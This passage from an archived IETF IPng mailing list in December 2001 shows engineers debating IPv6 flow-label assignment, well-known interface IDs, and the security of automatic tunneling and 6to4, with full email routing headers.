(ESEALNT406.al.sw.ericsson.se [153.88.251.29]) by penguin.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with SMTP id fBKFESK07597 for ; Thu, 20 Dec 2001 16:14:28 +0100 (MET) Received: FROM esealnt742.al.sw.ericsson.se BY esealnt406.al.sw.ericsson.se ; Thu Dec 20 16:14:28 2001 +0100 Received: by esealnt742.al.sw.ericsson.se with Internet Mail Service (5.5.2653.19) id ; Thu, 20 Dec 2001 16:05:54 +0100 Message-ID: <4DA6EA82906FD511BE2F00508BCF053801C4C169@Esealnt861.al.sw.ericsson.se> From: "Hesham Soliman (ERA)" To: "'Brian E Carpenter'" , "Hesham Soliman (ERA)" Cc: "'matthew.ford@bt.com'" , ipng@sunroof.eng.sun.com Subject: RE: draft-rajahalme-ipv6-flow-label-00.txt Date: Thu, 20 Dec 2001 16:14:10 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > > > > I had a preliminary idea and was going to write something > > > > about it. Basically the sender can generate the flow label > > > > based on a hash of the source and destination port numbers. > > > > This is straight forward enough. If we want to make it > > > > more sophisticated then we can add another number > > > > to the hash input (e.g P1 || P2 || x). > > > > Where x can be something specific to this flow. But > > > > I think P1 and P2 are enough. > > > > > > I guess this doesn't work where the source is setting up > > > flows to more than > > > one destination using the same source and destination port > > > numbers. So I > > > think you need to include destination address in the hash > > > computation as > > > well. > > > > => Well, there is no requirement that the flow label is > > globally unique. So this should work as long as you use > > a unique value between 2 addresses. > > > > However, it's only useful for a subset of cases, => I didn't really understand what you mean by 'subset of cases'. so I don't think > it affects the basic definition in the draft. > => Not at all, it's not meant to affect the basic definition in the draft, on the contrary it's meant to complement it. I actually like the draft's proposal. Hesham > Brian > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 20 07:22:52 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKFMqZR024455 for ; Thu, 20 Dec 2001 07:22:52 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBKFMq0I024454 for ipng-dist; Thu, 20 Dec 2001 07:22:52 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKFMnZR024447 for ; Thu, 20 Dec 2001 07:22:49 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA17715 for ; Thu, 20 Dec 2001 07:22:49 -0800 (PST) Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA09024 for ; Thu, 20 Dec 2001 07:22:48 -0800 (PST) Received: from esealnt409.al.sw.ericsson.se (ESEALNT409.al.sw.ericsson.se [153.88.251.32]) by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with SMTP id fBKFCkJ07504 for ; Thu, 20 Dec 2001 16:12:46 +0100 (MET) Received: FROM esealnt742.al.sw.ericsson.se BY esealnt409.al.sw.ericsson.se ; Thu Dec 20 16:12:45 2001 +0100 Received: by esealnt742.al.sw.ericsson.se with Internet Mail Service (5.5.2653.19) id ; Thu, 20 Dec 2001 16:04:11 +0100 Message-ID: <4DA6EA82906FD511BE2F00508BCF053801C4C168@Esealnt861.al.sw.ericsson.se> From: "Hesham Soliman (ERA)" To: "'Francis Dupont'" , "Hesham Soliman (ERA)" Cc: "'jarno.rajahalme@nokia.com'" , kre@munnari.OZ.AU, brian@hursley.ibm.com, ipng@sunroof.eng.sun.com Subject: RE: draft-rajahalme-ipv6-flow-label-00.txt Date: Thu, 20 Dec 2001 16:12:24 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > > In your previous mail you wrote: > > I had a preliminary idea and was going to write something > about it. Basically the sender can generate the flow label > based on a hash of the source and destination port numbers. > > => this kind of things was already proposed... The main > objection is this reveals too much of the higher layer > and can conflict with the purpose of ESP (when ESP is used), > i.e. this can become a security threat. > => It would be good if yu could point out a link perhaps to help me understand the reasons. If breaking the key is a concern you can do things to fix that (e.g. like adding x below). > If we want to make it > more sophisticated then we can add another number > to the hash input (e.g P1 || P2 || x). > Where x can be something specific to this flow. > > => so why not just x (:-)... => Well because not all applications have that luxury of knowing an 'x' beforehand. Also you would have to define for each application what 'x' means. Or define some behaviour in the IPv6 stack based on some shared secret, which again is not always available. Cheers, Hesham > > Regards > > Francis.Dupont@enst-bretagne.fr > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 20 07:27:21 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKFRKZR024553 for ; Thu, 20 Dec 2001 07:27:20 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBKFRKYr024551 for ipng-dist; Thu, 20 Dec 2001 07:27:20 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKFRHZR024544 for ; Thu, 20 Dec 2001 07:27:17 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA01021 for ; Thu, 20 Dec 2001 07:27:18 -0800 (PST) Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA04774 for ; Thu, 20 Dec 2001 08:27:17 -0700 (MST) Received: from esealnt462.al.sw.ericsson.se (ESEALNT462.al.sw.ericsson.se [153.88.251.62]) by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with SMTP id fBKFRGJ26663 for ; Thu, 20 Dec 2001 16:27:16 +0100 (MET) Received: FROM esealnt742.al.sw.ericsson.se BY esealnt462.al.sw.ericsson.se ; Thu Dec 20 16:26:58 2001 +0100 Received: by esealnt742.al.sw.ericsson.se with Internet Mail Service (5.5.2653.19) id ; Thu, 20 Dec 2001 16:18:39 +0100 Message-ID: <4DA6EA82906FD511BE2F00508BCF053801C4C16A@Esealnt861.al.sw.ericsson.se> From: "Hesham Soliman (ERA)" To: "'Robert Elz'" , jarno.rajahalme@nokia.com Cc: Francis.Dupont@enst-bretagne.fr, brian@hursley.ibm.com, ipng@sunroof.eng.sun.com Subject: RE: draft-rajahalme-ipv6-flow-label-00.txt Date: Thu, 20 Dec 2001 16:26:54 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > | - Or assume that the host distributes different flows > to different default > | routers. How will you guarantee that the routers will > not pick the same flow > | label values (which would be a problem if the flows go > to the same > | destination)? > | > | - Or what if the host is "dumb" only with some flows, > but will assign flow > | label values for some other flows. How will you > synchronize the flow label > | setup in the host and the router? > > Any of these can be handled by administrative control if > necessary (the > first few bits in the flow label identify the source - 0 -> > original host, > 1, 2, .. N identify a router). > > Smart routers are possible, not necessarily smart though. > => Sorry but this is very unrealistic. Setting the flow label at the default router, pretty much rules out the multiple default router case for a realistic scenario. I don't think that should be allowed. The node initiating the connection is the node with most information about it's flow and it should be the one setting it. Let's not try to buit any more dependencies on the default routers. Hesham -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 20 07:55:15 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKFtEZR024641 for ; Thu, 20 Dec 2001 07:55:14 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBKFtEZ9024640 for ipng-dist; Thu, 20 Dec 2001 07:55:14 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKFtBZR024633; Thu, 20 Dec 2001 07:55:11 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA05757; Thu, 20 Dec 2001 07:55:12 -0800 (PST) Received: from laposte.enst-bretagne.fr (laposte.enst-bretagne.fr [192.108.115.3]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA18071; Thu, 20 Dec 2001 08:55:07 -0700 (MST) Received: from rsm.rennes.enst-bretagne.fr (rsm.rennes.enst-bretagne.fr [192.44.77.1]) by laposte.enst-bretagne.fr (8.11.6/8.11.6) with ESMTP id fBKFspI25458; Thu, 20 Dec 2001 16:54:51 +0100 Received: from givry.rennes.enst-bretagne.fr (givry.rennes.enst-bretagne.fr [193.52.74.194]) by rsm.rennes.enst-bretagne.fr (8.8.8/8.8.8) with ESMTP id QAA18183; Thu, 20 Dec 2001 16:54:51 +0100 (MET) Received: from givry.rennes.enst-bretagne.fr (localhost.rennes.enst-bretagne.fr [127.0.0.1]) by givry.rennes.enst-bretagne.fr (8.11.3/8.11.3) with ESMTP id fBKFsoD64364; Thu, 20 Dec 2001 16:54:50 +0100 (CET) (envelope-from dupont@givry.rennes.enst-bretagne.fr) Message-Id: <200112201554.fBKFsoD64364@givry.rennes.enst-bretagne.fr> From: Francis Dupont To: Pekka Savola cc: Tony Hain , Vladislav Yasevich , ngtrans@sunroof.eng.sun.com, ipng@sunroof.eng.sun.com Subject: Re: (ngtrans) remote netaccess-threats via automatic tunneling In-reply-to: Your message of Thu, 20 Dec 2001 11:40:21 +0200. Date: Thu, 20 Dec 2001 16:54:50 +0100 X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk In your previous mail you wrote: In this case, consider a node which has configured tunnels, autotunnel and 6to4. => be serious, autotunnels are phased out, configured tunnels and 6to4 are mutually exclusive... Francis.Dupont@enst-bretagne.fr -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 20 07:59:56 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKFxtZR024709 for ; Thu, 20 Dec 2001 07:59:55 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBKFxtBV024708 for ipng-dist; Thu, 20 Dec 2001 07:59:55 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKFxqZR024701 for ; Thu, 20 Dec 2001 07:59:52 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA05763 for ; Thu, 20 Dec 2001 07:59:53 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id JAA21507 for ; Thu, 20 Dec 2001 09:00:38 -0700 (MST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id QAA08674 for ; Thu, 20 Dec 2001 16:59:49 +0100 Received: from dhcp23-128.zurich.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA36916 from ; Thu, 20 Dec 2001 16:59:47 +0100 Message-Id: <3C220AF4.A4AC5DDA@hursley.ibm.com> Date: Thu, 20 Dec 2001 16:59:48 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: ipng@sunroof.eng.sun.com Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt References: <4DA6EA82906FD511BE2F00508BCF053801C4C169@Esealnt861.al.sw.ericsson.se> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk "Hesham Soliman (ERA)" wrote: ... > > > => Well, there is no requirement that the flow label is > > > globally unique. So this should work as long as you use > > > a unique value between 2 addresses. > > > > > > > However, it's only useful for a subset of cases, > > => I didn't really understand what you mean by 'subset > of cases'. It doesn't apply to the diffserv usage (where the label is unique to a traffic class, not a flow or a pair of ports, and may be IANA-registered). > > so I don't think > > it affects the basic definition in the draft. > > > > => Not at all, it's not meant to affect the basic > definition in the draft, on the contrary it's > meant to complement it. Understood - i.e. it would only be used in some scenarios. Brian -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 20 08:00:25 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKG0PZR024729 for ; Thu, 20 Dec 2001 08:00:25 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBKG0Pla024728 for ipng-dist; Thu, 20 Dec 2001 08:00:25 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKG0KZR024713 for ; Thu, 20 Dec 2001 08:00:21 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA05974 for ; Thu, 20 Dec 2001 08:00:22 -0800 (PST) Received: from fnal.gov (heffalump.fnal.gov [131.225.9.20]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA27326 for ; Thu, 20 Dec 2001 09:00:03 -0700 (MST) Received: from gungnir.fnal.gov ([131.225.80.1]) by smtp.fnal.gov (PMDF V6.0-24 #37519) with ESMTP id <0GON009MNGGKTR@smtp.fnal.gov> for ipng@sunroof.eng.sun.com; Thu, 20 Dec 2001 10:00:20 -0600 (CST) Received: from gungnir.fnal.gov (localhost [127.0.0.1]) by gungnir.fnal.gov (8.10.2+Sun/8.10.2) with ESMTP id fBKG0Jl24910 for ; Thu, 20 Dec 2001 10:00:19 -0600 (CST) Date: Thu, 20 Dec 2001 10:00:19 -0600 From: Matt Crawford Subject: Re: well-known Interface IDs In-reply-to: "19 Dec 2001 13:48:31 PST." To: ipng@sunroof.eng.sun.com Message-id: <200112201600.fBKG0Jl24910@gungnir.fnal.gov> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > I don't agree that we need to organize the space, but if everyone > insists on going down this rat-hole then at least use the IANA > allocated OUI 00-00-5E like ISATAP is doing. This will avoid the > collision problems, plus make it clear who does the allocation and > tracking if it wasn't already. Which would be :0200:5eXX:XXYY:YYYY in IPv6 interface id form. The XXXX portion need not be equal to fffe (but should not be ffff). -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 20 08:01:43 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKG1gZR024749 for ; Thu, 20 Dec 2001 08:01:43 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBKG1gQ2024748 for ipng-dist; Thu, 20 Dec 2001 08:01:42 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKG1dZR024741 for ; Thu, 20 Dec 2001 08:01:39 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA06975 for ; Thu, 20 Dec 2001 08:01:40 -0800 (PST) Received: from brandenburg.cs.mu.OZ.AU (96-1.nat.psu.ac.th [202.28.96.1]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA28410 for ; Thu, 20 Dec 2001 09:01:20 -0700 (MST) Received: from brandenburg.cs.mu.OZ.AU (localhost [127.0.0.1]) by brandenburg.cs.mu.OZ.AU (8.11.0/8.11.0) with ESMTP id fBKG2nr09634; Thu, 20 Dec 2001 23:02:50 +0700 (ICT) From: Robert Elz To: "Hesham Soliman (ERA)" cc: jarno.rajahalme@nokia.com, Francis.Dupont@enst-bretagne.fr, brian@hursley.ibm.com, ipng@sunroof.eng.sun.com Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt In-Reply-To: <4DA6EA82906FD511BE2F00508BCF053801C4C16A@Esealnt861.al.sw.ericsson.se> References: <4DA6EA82906FD511BE2F00508BCF053801C4C16A@Esealnt861.al.sw.ericsson.se> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 20 Dec 2001 23:02:49 +0700 Message-ID: <9632.1008864169@brandenburg.cs.mu.OZ.AU> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Date: Thu, 20 Dec 2001 16:26:54 +0100 From: "Hesham Soliman (ERA)" Message-ID: <4DA6EA82906FD511BE2F00508BCF053801C4C16A@Esealnt861.al.sw.ericsson.se> | => Sorry but this is very unrealistic. It wasn't meant to be realistic, just an example to show it can be done. | Setting the flow label at the default router, pretty much rules | out the multiple default router case for a realistic | scenario. Yes. | I don't think that should be allowed. Huh? What shouldn't be allowed? Not having multiple default routers? That is, you're saying everyone must have more than one? That would be rather ambitious. | The node initiating the connection is the node with most information | about it's flow and it should be the one setting it. I agree completely, it should be. That isn't the question however. | Let's not try to buit any more dependencies on the default routers. I agree as well. But, if I have only one default router, and I have a lot of applications that know nothing about setting flow labels (which pretty much describes all the IPv6 code that exists at the minute that Im aware of), are you telling me that I am to be prohibited from having the router do classification and set the flow label to some intelligent choice ? Note: no-one is proposing (that I am aware of) mandating that it work this way - the issue is more of whether we should be prohibiting it. Personally, I like to prohibit as little as possible, unless there's a very good reason - and that someone (or some group) can't figure out how they'd sanely use it, isn't good enough. kre -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 20 08:13:49 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKGDnZR024838 for ; Thu, 20 Dec 2001 08:13:49 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBKGDmQQ024836 for ipng-dist; Thu, 20 Dec 2001 08:13:48 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKGDfZR024818; Thu, 20 Dec 2001 08:13:41 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA07304; Thu, 20 Dec 2001 08:13:34 -0800 (PST) Received: from cisco.com (mrwint.cisco.com [198.135.0.176]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id JAA29659; Thu, 20 Dec 2001 09:14:11 -0700 (MST) Received: (from otroan@localhost) by cisco.com (8.8.8/2.6/Cisco List Logging/8.8.8) id QAA02531; Thu, 20 Dec 2001 16:12:54 GMT X-Authentication-Warning: mrwint.cisco.com: otroan set sender to ot@cisco.com using -f To: Francis Dupont Cc: Pekka Savola , Tony Hain , Vladislav Yasevich , ngtrans@sunroof.eng.sun.com, ipng@sunroof.eng.sun.com Subject: Re: (ngtrans) remote netaccess-threats via automatic tunneling References: <200112201554.fBKFsoD64364@givry.rennes.enst-bretagne.fr> From: Ole Troan Date: Thu, 20 Dec 2001 16:12:54 +0000 In-Reply-To: <200112201554.fBKFsoD64364@givry.rennes.enst-bretagne.fr> (Francis Dupont's message of "Thu, 20 Dec 2001 16:54:50 +0100") Message-ID: <7t5zo4dan09.fsf@mrwint.cisco.com> Lines: 16 User-Agent: Gnus/5.090004 (Oort Gnus v0.04) Emacs/20.7 (sparc-sun-solaris2.8) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > In your previous mail you wrote: > > In this case, consider a node which has configured tunnels, autotunnel and > 6to4. > > => be serious, autotunnels are phased out, configured tunnels and 6to4 > are mutually exclusive... mutually exclusive? I don't think so. as was pointed out earlier as long as one uses a different IPv4 source address for the different point to multi-point tunnelling mechanisms there is no problem demultiplexing the packet to the correct tunnel interface. /ot -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 20 08:14:28 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKGESZR024865 for ; Thu, 20 Dec 2001 08:14:28 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBKGESex024860 for ipng-dist; Thu, 20 Dec 2001 08:14:28 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKGENZR024853; Thu, 20 Dec 2001 08:14:23 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA08803; Thu, 20 Dec 2001 08:14:24 -0800 (PST) Received: from laposte.enst-bretagne.fr (laposte.enst-bretagne.fr [192.108.115.3]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id JAA00310; Thu, 20 Dec 2001 09:15:06 -0700 (MST) Received: from rsm.rennes.enst-bretagne.fr (rsm.rennes.enst-bretagne.fr [192.44.77.1]) by laposte.enst-bretagne.fr (8.11.6/8.11.6) with ESMTP id fBKGDsI27268; Thu, 20 Dec 2001 17:13:54 +0100 Received: from givry.rennes.enst-bretagne.fr (givry.rennes.enst-bretagne.fr [193.52.74.194]) by rsm.rennes.enst-bretagne.fr (8.8.8/8.8.8) with ESMTP id RAA18666; Thu, 20 Dec 2001 17:13:54 +0100 (MET) Received: from givry.rennes.enst-bretagne.fr (localhost.rennes.enst-bretagne.fr [127.0.0.1]) by givry.rennes.enst-bretagne.fr (8.11.3/8.11.3) with ESMTP id fBKGDsD64584; Thu, 20 Dec 2001 17:13:54 +0100 (CET) (envelope-from dupont@givry.rennes.enst-bretagne.fr) Message-Id: <200112201613.fBKGDsD64584@givry.rennes.enst-bretagne.fr> From: Francis Dupont To: Pekka Savola cc: ngtrans@sunroof.eng.sun.com, ipng@sunroof.eng.sun.com Subject: Re: (ngtrans) remote netaccess-threats via automatic tunneling In-reply-to: Your message of Thu, 20 Dec 2001 12:41:36 +0200. Date: Thu, 20 Dec 2001 17:13:54 +0100 X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk In your previous mail you wrote: I disagree about 6to4: I wouldn't say security considerations is an explicit section as such, and certainly not about _this_ kind of attacks. Just a rather vague notes. => no, we come back to the last week discussion... Also note that autotunnel spec does not require that destination address must be compatible address when decapsulating. There's not all that much about source either. => autotunnel ist phased out. Security issues are one of the reasons but in fact 6to4 is better (including from the security point of view). > PS: I agree blind decapsulation is bad but this is not a scoop. Good we agree on blind decapsulation. I dislike that security was not discussed properly in the main context of the draft; more like as just an afterthough "for you security geeks, here are a few possible problems.." => let someelse answer... Francis.Dupont@enst-bretagne.fr -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 20 08:17:19 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKGHJZR024903 for ; Thu, 20 Dec 2001 08:17:19 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBKGHJDT024902 for ipng-dist; Thu, 20 Dec 2001 08:17:19 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKGHGZR024895 for ; Thu, 20 Dec 2001 08:17:16 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA08204 for ; Thu, 20 Dec 2001 08:17:17 -0800 (PST) Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA10678 for ; Thu, 20 Dec 2001 08:17:16 -0800 (PST) Received: from esealnt409.al.sw.ericsson.se (ESEALNT409.al.sw.ericsson.se [153.88.251.32]) by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with SMTP id fBKGHEJ27860 for ; Thu, 20 Dec 2001 17:17:14 +0100 (MET) Received: FROM esealnt742.al.sw.ericsson.se BY esealnt409.al.sw.ericsson.se ; Thu Dec 20 17:17:14 2001 +0100 Received: by esealnt742.al.sw.ericsson.se with Internet Mail Service (5.5.2653.19) id ; Thu, 20 Dec 2001 17:08:40 +0100 Message-ID: <4DA6EA82906FD511BE2F00508BCF053801C4C16C@Esealnt861.al.sw.ericsson.se> From: "Hesham Soliman (ERA)" To: "'Robert 